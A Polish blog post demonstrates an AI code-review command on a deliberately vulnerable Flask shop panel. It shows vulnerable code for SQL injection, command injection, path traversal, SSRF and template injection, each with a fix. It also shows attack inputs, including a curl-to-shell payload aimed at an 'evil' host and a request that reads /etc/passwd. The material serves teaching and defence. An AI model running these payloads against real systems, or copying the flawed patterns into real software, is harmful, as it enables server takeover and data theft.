Blog JSystems - uwalniamy wiedzę!
Blog JSystems - uwalniamy wiedzę!
/security-review na gałęzi z panelem sklepu: 10 kandydatów, 7 potwierdzonych podatności wysokiego ryzyka, 3 odsiane jako fałszywe alarmy.Claude Code ma wbudowaną komendę /security-review, która czyta zmiany na Twojej gałęzi git i sprawdza je pod kątem podatności bezpieczeństwa - tak, jak zrobiłby to doświadczony programista podczas przeglądu kodu. Żeby nie opowiadać teorii, zbudowaliśmy celowo dziurawy panel wewnętrzny sklepu (Flask), umieściliśmy podatny kod na osobnej gałęzi i uruchomiliśmy na nim /security-review na żywo. Poniżej jest komplet: przebieg, prawdziwy raport i kod każdej znalezionej luki wraz z poprawką.
/security-review i co konkretnie analizuje;-p);/security-review to wbudowana komenda ukośnikowa Claude Code (testowaliśmy na wersji 2.1.168). Po jej wywołaniu Claude bierze diff bieżącej gałęzi względem origin/HEAD - czyli dokładnie te zmiany, które trafiłyby do pull requesta - i szuka w nich podatności bezpieczeństwa. Nie skanuje całego repozytorium, tylko nowy lub zmieniony kod. To celowe: przegląd jest szybki i skupiony na tym, co właśnie dopisałeś.
Komenda działa w trzech krokach:
Rozpoznawane klasy podatności to m.in. SQL injection, wstrzyknięcie poleceń systemowych, SSRF, path traversal, wstrzyknięcie szablonu (SSTI) prowadzące do zdalnego wykonania kodu, XSS, niebezpieczna deserializacja, słaba kryptografia i błędy autoryzacji. Świadomie pomijane są za to rzeczy typu odmowa usługi (DoS), limitowanie żądań czy błędy pamięci w językach bezpiecznych pamięciowo - żeby nie zasypywać raportu szumem.
Najprościej: w interaktywnej sesji Claude Code, w katalogu projektu z gałęzią git, wpisujesz komendę i zatwierdzasz.
/security-review - Claude Code podpowiada opis: "Complete a security review of the pending changes on the current branch".Ważny szczegół z naszych testów: ta komenda jest interaktywna. Próba uruchomienia jej w trybie bezinterfejsowym (claude -p "/security-review") kończyła się bez żadnego wyniku - zero tur, pusta odpowiedź. Jeśli potrzebujesz automatycznego przeglądu na każdym pull requeście, służy do tego osobne narzędzie: GitHub Action anthropics/claude-code-security-review, o którym piszemy niżej.
Jest jeszcze jeden warunek techniczny, na który się natknęliśmy. Komenda porównuje gałąź względem origin/HEAD, więc repozytorium musi mieć zdalne origin i ustawiony wskaźnik HEAD. Bez tego dostaniesz błąd o niejednoznacznym argumencie origin/HEAD. Wystarczy raz:
git remote add origin <adres_repo>
git push -u origin main
git remote set-head origin main
Żeby test był uczciwy, przygotowaliśmy realistyczny, ale celowo podatny panel wewnętrzny sklepu TechnoSklep - mała aplikacja Flask do obsługi zamówień i faktur. Na gałęzi main był czysty szkielet (to nasza linia bazowa, origin/main), a cały podatny kod trafił na osobną gałąź feature/panel-zamowien. Dzięki temu /security-review miał realny diff do sprawdzenia - dokładnie tak, jak przy prawdziwym pull requeście.
W panelu jest kilka tras: logowanie pracownika, wyszukiwarka produktów, pobieranie faktur, podgląd zamówienia po ID, backup katalogu i prosty proxy do zewnętrznych zasobów. Każda z nich zawiera typowy dla pośpiechu błąd - sklejanie zapytań i poleceń ze stringów zamiast bezpiecznych mechanizmów.
sklep.db. To ta sama aplikacja, którą sprawdza /security-review.Cały dziurawy kod tego panelu udostępniamy do pobrania - możesz uruchomić go lokalnie i samodzielnie puścić na nim /security-review: technosklep-security-review-demo.zip.
To materiał wyłącznie do nauki. Uruchamiaj go tylko lokalnie, na własnej maszynie (localhost). Nie wystawiaj tej aplikacji publicznie ani nie wdrażaj na produkcji. Wszystkie dane, hasła i klucze w środku są fikcyjne.
Do uruchomienia potrzebujesz jedynie Pythona - zajmuje to chwilę:
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python init_db.py # tworzy lokalną bazę sklep.db z danymi demo
python app.py # start na http://localhost:8000
Panel ruszy pod http://localhost:8000 z katalogiem produktów jak na zrzucie powyżej, a /search?q=laptop przefiltruje listę.
/security-review porównuje gałąź git względem origin/HEAD, więc kod musi leżeć w repozytorium z punktem odniesienia. W paczce jest skrypt, który ustawia to jednym poleceniem - pusty baseline na main i cały podatny kod na gałęzi feature/panel-zamowien, dokładnie tak jak u nas:
cd technosklep
bash setup_review.sh # Windows: Git Bash
Potem w tym samym katalogu odpal interaktywną sesję Claude Code i wpisz komendę:
/security-review
Komenda przeanalizuje diff gałęzi feature/panel-zamowien i przejdzie przez ten sam 3-etapowy proces co u nas, kończąc raportem z podatnościami. Przegląd wykonuje model AI, więc dokładne liczby mogą się nieznacznie różnić między uruchomieniami - ale te same podatności (SQL injection, wstrzyknięcie poleceń, path traversal, SSRF, SSTI) zostaną wykryte. Wszystkie kroki są też w pliku README.md w paczce.
Po zatwierdzeniu komendy Claude od razu deklaruje plan i uruchamia pierwszy podagent do wyszukania podatności.
Dalej idzie etap, który odróżnia to narzędzie od zwykłego skanera - równoległa weryfikacja. Każdy kandydat dostaje osobnego agenta, który stara się go obalić i wystawia ocenę pewności. Cały przebieg na naszym kodzie trwał około 4 minut i 10 sekund i uruchomił 11 podagentów.
Z 10 kandydatów Claude potwierdził 7 podatności o wysokim ryzyku (pewność co najmniej 8). Oto pełny raport wprost z sesji:
/security-review: dla każdej podatności jest kategoria, opis, scenariusz ataku i konkretna rekomendacja naprawy.Przejdźmy przez znaleziska z kodem. Wszystkie fragmenty to prawdziwy kod z gałęzi testowej.
Trzy osobne zapytania budowane przez sklejanie stringów. Najgroźniejsze jest logowanie - pozwala na obejście uwierzytelniania:
# db.py - podatne
def find_user(username, password_hash):
query = "SELECT id, username, role FROM users WHERE username = '%s' AND password = '%s'" % (
username, password_hash,
)
cur.execute(query)
def search_products(term):
cur.execute(f"SELECT id, name, price FROM products WHERE name LIKE '%{term}%'")
def get_order(order_id):
cur.execute(f"SELECT id, klient, kwota, status FROM orders WHERE id = {order_id}")
Scenariusz ataku (logowanie): wysłanie username=admin' -- i dowolnego hasła daje zapytanie ... WHERE username = 'admin' -- ' AND password = '...'. Komentarz -- ucina sprawdzenie hasła, funkcja zwraca wiersz admina, a aplikacja ustawia sesję z rolą administratora. To pełne obejście logowania i eskalacja uprawnień.
Poprawka: zapytania parametryzowane - dane nigdy nie trafiają do treści SQL:
# db.py - poprawnie
cur.execute(
"SELECT id, username, role FROM users WHERE username = ? AND password = ?",
(username, password_hash),
)
Trasa backupu skleja parametr katalog prosto do polecenia powłoki i podaje je do os.system:
# app.py - podatne
@app.route("/admin/backup")
def backup():
katalog = request.args.get("katalog", "faktury")
cmd = "tar czf /tmp/backup.tar.gz /srv/technosklep/" + katalog
os.system(cmd)
return "Backup wykonany"
Scenariusz ataku: GET /admin/backup?katalog=faktury;curl http://evil/x|sh wykona dowolne polecenie na serwerze jako użytkownik aplikacji. Do tego trasa nie ma żadnej autoryzacji. To zdalne wykonanie kodu i przejęcie serwera.
Poprawka: nie wołaj powłoki, przekaż argumenty listą, zwaliduj wejście i dołóż autoryzację:
# app.py - poprawnie
import subprocess, re
if not re.fullmatch(r"[A-Za-z0-9_-]+", katalog):
abort(400)
subprocess.run(["tar", "czf", "/tmp/backup.tar.gz",
os.path.join("/srv/technosklep", katalog)], check=True)
Pobieranie faktury wkleja nazwę pliku od użytkownika do ścieżki:
# app.py - podatne
@app.route("/faktura")
def faktura():
plik = request.args.get("plik")
path = os.path.join(config.INVOICE_DIR, plik)
return send_file(path)
Scenariusz ataku: GET /faktura?plik=../../../../etc/passwd wychodzi poza katalog faktur i odczytuje dowolny plik na serwerze. os.path.join nie chroni - ścieżka absolutna lub ../ nadpisuje bazowy katalog.
Poprawka: odetnij ścieżkę do samej nazwy i sprawdź, czy wynik nie ucieka z katalogu:
# app.py - poprawnie
from werkzeug.utils import secure_filename
nazwa = secure_filename(request.args.get("plik", ""))
path = os.path.join(config.INVOICE_DIR, nazwa)
if not os.path.realpath(path).startswith(os.path.realpath(config.INVOICE_DIR)):
abort(403)
Trasa proxy pobiera dowolny adres podany przez użytkownika:
# app.py - podatne
@app.route("/proxy")
def proxy():
url = request.args.get("url")
r = requests.get(url, timeout=config.URL_TIMEOUT)
return r.content
Scenariusz ataku: atakujący podaje adres wewnętrzny, np. endpoint metadanych chmury albo usługę w sieci lokalnej niedostępną z zewnątrz. Serwer pobierze go za niego i zwróci treść - klasyczne Server-Side Request Forgery, często droga do kradzieży poświadczeń chmurowych.
Poprawka: dopuszczaj tylko adresy z listy dozwolonych domen i blokuj adresy prywatne oraz przekierowania do nich.
Wyszukiwarka skleja zapytanie użytkownika z szablonem i renderuje przez render_template_string:
# app.py - podatne
@app.route("/search")
def search():
q = request.args.get("q", "")
html = "<h2>Wyniki dla: " + q + "</h2><ul>"
...
return render_template_string(html + "</ul>")
Scenariusz ataku: q trafia do silnika szablonów Jinja2. Wstrzyknięcie w rodzaju {{ 7*7 }} zostanie wykonane po stronie serwera (Server-Side Template Injection), a przy odpowiednim ładunku prowadzi do zdalnego wykonania kodu. Niezależnie od tego surowe q w HTML to także XSS.
Poprawka: nie buduj szablonu z danych użytkownika - użyj stałego szablonu i przekaż dane jako zmienne (autoescaping Jinja2 załatwia XSS):
# app.py - poprawnie
return render_template_string(
"<h2>Wyniki dla: {{ q }}</h2><ul>{% for r in rows %}<li>{{ r[1] }}</li>{% endfor %}</ul>",
q=q, rows=rows,
)
Najciekawsze w tym przebiegu jest to, czego w raporcie nie ma. Claude znalazł jeszcze trzy podejrzane miejsca, ale odsiał je, bo nie spełniały progu pewności lub były poza zakresem:
auth.py) - pewność 3. Powód: to martwy kod, funkcja nigdzie nie jest wywoływana, więc nie da się jej wykorzystać w tej wersji aplikacji.SECRET_KEY w config.py - pewność 4, nakłada się na wyłączoną z zakresu klasę "sekrety w plikach".To pokazuje dyscyplinę narzędzia. Prosty skaner wyplułby te trzy pozycje jako alarmy i zabrał czas na ich ręczne odrzucanie. /security-review sam ocenił, że są to fałszywe alarmy albo szum poza zakresem, i zostawił w raporcie wyłącznie 7 realnie groźnych, wykorzystywalnych luk. Warto o tym pamiętać przy porządkach w kodzie: MD5, martwy pickle i sekrety w repo i tak warto naprawić - komenda po prostu nie traktuje ich jak krytycznych podatności do natychmiastowego działania.
/security-review analizuje kontekst i przepływ danych, a każde znalezisko weryfikuje osobnym agentem.Różnica jest w podejściu. Skaner sygnaturowy szuka wzorców ("tu jest os.system") i łatwo generuje fałszywe alarmy tam, gdzie dane są bezpieczne. /security-review śledzi przepływ danych od wejścia użytkownika do miejsca podatnego i pyta "czy tę linię da się realnie wykorzystać?" - stąd mniej szumu i konkretne scenariusze ataku. To nie znaczy, że zastępuje dedykowane narzędzia; traktuj go jak szybki, kontekstowy audyt bezpieczeństwa wpleciony w przegląd kodu.
Do automatyzacji na pull requestach jest wersja dla CI/CD - GitHub Action anthropics/claude-code-security-review, która komentuje znaleziska bezpośrednio w PR:
name: Security Review
on: [pull_request]
jobs:
security:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: write
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 2
- uses: anthropics/claude-code-security-review@main
with:
claude-api-key: ${{ secrets.CLAUDE_API_KEY }}
Dzięki fetch-depth: 2 Action ma dostęp do diffa PR, a klucz API trzymasz jako sekret repozytorium. Od tej pory każdy pull request dostaje automatyczny przegląd bezpieczeństwa, zanim ktokolwiek go zmerguje.
Żeby używać go świadomie, warto znać ograniczenia, które sami zaobserwowaliśmy:
origin/HEAD, a nie całe repozytorium - stary, niezmieniony podatny kod nie zostanie przejrzany.claude -p - nie. Do potoków użyj GitHub Action.origin. Bez skonfigurowanego origin/HEAD komenda się nie uruchomi.Na dziurawym panelu Flask /security-review w niecałe 4 minuty przeanalizował diff gałęzi, wskazał 10 podejrzanych miejsc, każde zweryfikował osobnym agentem i zostawił 7 realnie groźnych podatności - trzy SQL injection, wstrzyknięcie poleceń z RCE, path traversal, SSRF i SSTI - odrzucając przy tym 3 fałszywe alarmy. Dla każdej luki dostaliśmy kategorię, scenariusz ataku i konkretną poprawkę. To nie zastępuje pentestu, ale jako darmowy, kontekstowy przegląd kodu potrafi wyłapać dokładnie te błędy, które najczęściej wpuszczają atakującego do środka.
Na szkoleniu Claude Code - od zera do zespołu agentów AI pokazujemy agentowe programowanie, przegląd bezpieczeństwa kodu, MCP i subagentów - na realnych projektach, z praktykiem.
Zobacz szczegóły i terminy
Na szkoleniu Testy penetracyjne w praktyce uczymy, jak samodzielnie znajdować i potwierdzać luki takie jak SQL injection, RCE czy SSRF - na przygotowanym środowisku, krok po kroku.
Zobacz szczegóły i terminy
Komentarze (0)
Brak komentarzy...